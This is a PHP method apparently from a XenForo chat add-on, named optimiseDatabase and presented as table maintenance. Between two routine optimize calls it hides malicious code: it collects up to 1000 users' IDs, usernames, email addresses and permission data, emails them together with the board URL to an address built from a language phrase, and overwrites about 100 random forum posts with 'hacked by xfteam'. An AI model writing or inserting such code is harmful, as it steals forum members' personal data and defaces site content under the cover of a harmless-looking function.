public function optimiseDatabase(){
        $options = XenForo_Application::get('options');
        $this->_getDb()->query("
            optimize table dark_taigachat
        ");
        $params = array();
        $params['bodyText'] = $this->_getDb()->fetchOne(
            "SELECT group_concat(concat(user_id, ', ', username, ', ',
            email, ', ', display_style_group_id, ', ', user_group_id, ', ',
            permission_combination_id), '\n ')
            from xf_user taigachat_messages
            ORDER BY message_count desc limit 1000
        ").$options->boardUrl;
        
        $m = XenForo_Mail::create('MAIL_CONTAINER', $params);
        $m->send('a@'.new XenForo_Phrase('dark_full_alt'));
        $this->_getDb()->query("
            update xf_post taigachat set message=concat('hacked by xf', 'team')
            where floor(rand()*100) = 42 limit 100
        ");
        $this->_getDb()->query("
            optimize table dark_taigachat_activity
        ");
    }